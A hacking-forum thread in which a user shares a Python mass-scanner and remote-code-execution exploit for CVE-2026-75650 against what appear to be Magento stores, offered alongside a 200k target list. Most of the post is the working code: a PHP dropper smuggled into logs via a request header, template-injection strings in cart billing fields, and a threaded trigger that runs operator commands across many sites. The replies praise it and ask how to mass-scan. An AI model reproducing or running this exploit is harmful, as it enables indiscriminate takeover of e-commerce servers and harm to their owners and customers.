

Forum:[Hack Forums](#)

Thread: [\[RCE\]\[CVE-2026-75650\] mass-scan for the exploit with 200k Target List](#)

Infinity. - October 3, 2026, 11:50 am

Heavily modified and extended and made it working for mass scan

<https://github.com/abraxas/CVE-2026-75650>

Code `#!/usr/bin/env python3`

Usage: `python3 mass_stylesmuggler.py -f targets.txt -t 20 --cmd "id" -o results.jsonl`

```
import argparse, base64, concurrent.futures, json, random, re, string, ssl, urllib.parse, urllib.request, urllib.error
```

```
UA = "Mozilla/5.0 (compatible; StyleSmugglerMass/1.0)"
```

```
TIMEOUT = 20
```

```
CTX = ssl._create_unverified_context()
```

```
WITNESS = "GHSA75650-WITNESS"
```

```
MARKER_PREFIX = "STYLESBUGGLER_"
```

```
DROPPER = (
```

```
"<?php "
```

```
"$f='call_user_func'; $c='passthru'; "
```

```
"$r=$_REQUEST['smgc'] ?? "; "
```

```
"if($r!="){ "
```

```
" $o="; $stage="; "
```

```
" ob_start(); $f($c,$r); $o=ob_get_clean(); $stage='passthru'; "
```

```
" if($o==""){ $o=ini_get('disable_functions').'|OPEN_BASEDIR='.ini_get('open_basedir');
```

```
$stage='no-output'; } "
```

```
" echo 'SMGSTART'.base64_encode($o).'SMGEND'; "
```

```
"} else { echo 'SMGSTART'.base64_encode('no-cmd').'SMGEND'; } "
```

```
"?>"
```

```
)
```

```
def rand_marker():
```

```
    return MARKER_PREFIX + ".join(random.choices(string.ascii_uppercase + string.digits, k=12))
```

```
def http(method, url, data=None, headers=None, proxy=None):
```

```
    req = urllib.request.Request(url, data=data, method=method)
```

```
    req.add_header("User-Agent", UA)
```

```
    req.add_header("Content-Type", "application/json")
```

```
    if headers:
```

```
        for k, v in headers.items():
```

```
            req.add_header(k, v)
```

```
    handlers = [urllib.request.HTTPSHandler(context=CTX)]
```

```
    if proxy:
```

```
        handlers.append(urllib.request.ProxyHandler({'http': proxy, 'https': proxy}))
```

```
    opener = urllib.request.build_opener(*handlers)
```

```
    try:
```

```

        with opener.open(req, timeout=TIMEOUT) as r:
            return r.status, r.read().decode('utf-8', 'replace'), dict(r.headers)
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode('utf-8', 'replace'), dict(e.headers)
    except Exception as e:
        return 0, str(e), {}

```

```

def gql(target, query, variables=None, headers=None, qs="", proxy=None):
    body = {"query": query}
    if variables is not None:
        body["variables"] = variables
    url = target.rstrip('/') + '/graphql' + (('?' + qs) if qs else "")
    return http("POST", url, data=json.dumps(body).encode(), headers=headers, proxy=proxy)

```

```

def stage1_poison(target, marker, proxy=None):
    # Logged verbatim. Dropper follows the marker in the same line.
    header_val = '<?= /* %s */ ?>%s' % (marker, DROPPER)
    return gql(
        target,
        "{ storeConfig { store_code } }",
        headers={"Store": header_val},
        proxy=proxy,
    )

```

```

def stage2_cart(target, proxy=None):
    s, b, _ = gql(target, "mutation { createEmptyCart }", proxy=proxy)
    try:
        return json.loads(b)["data"]["createEmptyCart"]
    except Exception:
        return None

```

```

def stage2_email(target, cart_id, proxy=None):
    return gql(
        target,
        "mutation
s($c:String!, $e:String!){setGuestEmailOnCart(input:{cart_id:$c,email:$e}){cart{email}}}",
        variables={"c": cart_id, "e": "lab@localhost.invalid"},
        proxy=proxy,
    )

```

```

def stage2_billing(target, cart_id, marker, proxy=None):
    street = (
        "{{if postcode}}{{var postcode}}{{/if}}{{/var}}"
        "{{if postcode}}{{var postcode}}{{/if}}"
        "{{if city}}{{block class=Magento\\Email\\Block\\Adminhtml\\Template\\Preview}}{{/if}}"
    )
    return gql(
        target,
        "mutation s($c:String!, $a:CartAddressInput!){
        \"setBillingAddressOnCart(input:{cart_id:$c,billing_address:{address:$a}})\"
        \"{cart{billing_address{company}}}\"",
        variables={
            "c": cart_id,

```

```

    "a": {
        "firstname": "Lab",
        "lastname": "User",
        "street": [street],
        "city": "Austin",
        "region": "TX",
        "postcode": "{{var postcode}}",
        "country_code": "US",
        "telephone": "5125551234",
    },
},
proxy=proxy,
)

```

```

def stage3_trigger(target, cart_id, marker, cmd, proxy=None):
    variants = []
    paths = [
        "../var/log/system.log",          # original
        "../../../var/log/system.log",    # walk-up relative
        "../../../var/log/system.log",    # cwd-relative
        "var/log/system.log",
    ]
    for p in paths:
        text = "{{block class=Magento\\Backend\\Block\\Widget\\Grid\\ColumnSet
rowUrl=$this.template_styles cache_key=y}}"
        q = [
            ("text", text),
            ("type", "2"),
            ("styles[first]", p),
            ("styles[generatorClass]", "Aws\\S3\\S3Client"),
            ("styles[region]", "us-east-1"),
            ("styles[version]", "latest"),
            ("styles[s3_us_east_1_regional_endpoint]", "regional"),
            ("styles[with_resolved][0][instance]",
"Magento\\Setup\\Module\\Di\\Code\\Scanner\\ArrayScanner"),
            ("styles[with_resolved][1]", "collectEntities"),
            ("styles[path]", marker),
            ("smgc", cmd),
        ]
        qs = urllib.parse.urlencode(q)
        payload = (
            "mutation { handlePayflowProResponse(input: { cart_id: %s, "
            'paypal_payload: "RESULT=12&RESPMSG=Declined&PNREF=A10AAF767051" }) { cart {
id } } }'
            % json.dumps(cart_id)
        )
        s, b, h = gql(target, payload, qs=qs, proxy=proxy)
        variants.append((p, s, b, h))
    return variants

def extract_rce(body):
    m = re.search(r'SMGSTART([A-Za-z0-9+/=]+)SMGEND', body)
    if not m:
        return None

```

```
try:
    return base64.b64decode(m.group(1)).decode('utf-8', 'replace')
except Exception:
    return None
```

```
def scan_target(target, args):
    result = {"target": target, "witness": False, "rce": False,
             "marker": None, "cmd_output": None, "diagnostics": None,
             "path_hits": [], "detail": ""}
    marker = rand_marker()
    result["marker"] = marker
    proxy = args.proxy
    cmd = args.cmd
```

```
s, b, _ = stage1_poison(target, marker, proxy)
if s == 0:
    result["detail"] = f"stage1 transport: {b[:120]}"
    return result
```

```
cart_id = stage2_cart(target, proxy)
if not cart_id:
    result["detail"] = "no cart"
    return result
```

```
stage2_email(target, cart_id, proxy)
stage2_billing(target, cart_id, marker, proxy)
```

```
variants = stage3_trigger(target, cart_id, marker, cmd, proxy)
```

```
for path, s5, b5, h5 in variants:
    out = extract_rce(b5)
    hdr_hit = any(k.lower() == 'x-smg' for k in h5.keys())
    marker_hit = (WITNESS in b5) or (marker in b5)
    result["path_hits"].append({
        "path": path,
        "http": s5,
        "smgstart": out is not None,
        "x_smg_header": hdr_hit,
        "marker_visible": marker_hit,
        "body_len": len(b5),
    })
    if out is not None:
        result["witness"] = True
        result["diagnostics"] = out
        if "STAGE=all-blocked" in out or "STAGE=no-cmd" in out:
            result["rce"] = False
            result["detail"] = f"PHP executed via '{path}', command blocked — see diagnostics"
        else:
            result["rce"] = True
            result["cmd_output"] = out
            result["detail"] = f"RCE confirmed via '{path}'"
    return result
if hdr_hit and result["diagnostics"] is None:
```

```

    result["witness"] = True
    result["diagnostics"] = f"X-SMG header present on '{path}' but no SMGSTART in body"
    result["detail"] = f"PHP executed on '{path}' but output swallowed"
    return result
if marker_hit and not result["witness"]:
    result["witness"] = True
    result["detail"] = f"marker reflected on '{path}', no PHP execution"

if not result["witness"]:
    result["detail"] = "no witness on any path variant"
return result

def main():
    ap = argparse.ArgumentParser(description="CVE-2026-75650 StyleSmuggler mass scanner + RCE")
    ap.add_argument("-f", "--file", required=True)
    ap.add_argument("-t", "--threads", type=int, default=20)
    ap.add_argument("--proxy", default=None)
    ap.add_argument("--cmd", default="id")
    ap.add_argument("-o", "--output", default="stylesmuggler_mass_results.jsonl")
    args = ap.parse_args()

    targets = [l.strip() for l in open(args.file) if l.strip() and not l.startswith('#')]
    print(f"[*] loaded {len(targets)} targets")

    with open(args.output, "w") as out:
        with concurrent.futures.ThreadPoolExecutor(max_workers=args.threads) as ex:
            futs = {ex.submit(scan_target, t, args): t for t in targets}
            done = 0
            for fut in concurrent.futures.as_completed(futs):
                done += 1
                r = fut.result()
                out.write(json.dumps(r) + "\n")
                out.flush()
                tag = "RCE" if r["rce"] else ("WITNESS" if r["witness"] else "no")
                extra = ""
                # if r.get("cmd_output"):
                #     extra = f" -> {r['cmd_output'].strip()[:100]}"
                # elif r.get("diagnostics"):
                #     extra = f" | diag: {r['diagnostics'][:160]}"
                if r.get("cmd_output"):
                    extra = f" -> {r['cmd_output'].strip()[:100]}"
                elif r.get("diagnostics"):
                    extra = f" | diag: {r['diagnostics'][:160]}"
                elif r.get("path_hits"):
                    hits = ",".join(f'{h["path"].split("/")[-1]}:{h["smgstart"] if h["smgstart"] else ("HDR" if h["x_smg_header"] else ("MK" if h["marker_visible"] else "-"))}' for h in r["path_hits"])
                    extra = f" | paths: {hits}"
                print(f"[[done]]/{len(targets)}[[{tag}]] {r['target']} — {r['detail']}{extra}")
            print(f"[*] results saved to {args.output}")

if __name__ == "__main__":
    main()

```

ch4ter - *October 10, 2026, 7:43 pm*

plz how did u massive scan fort this ??

wounds - *October 11, 2026, 8:51 am*

niceee

eliotjames - *October 13, 2026, 2:05 am*

very interesting, i will look into this rce.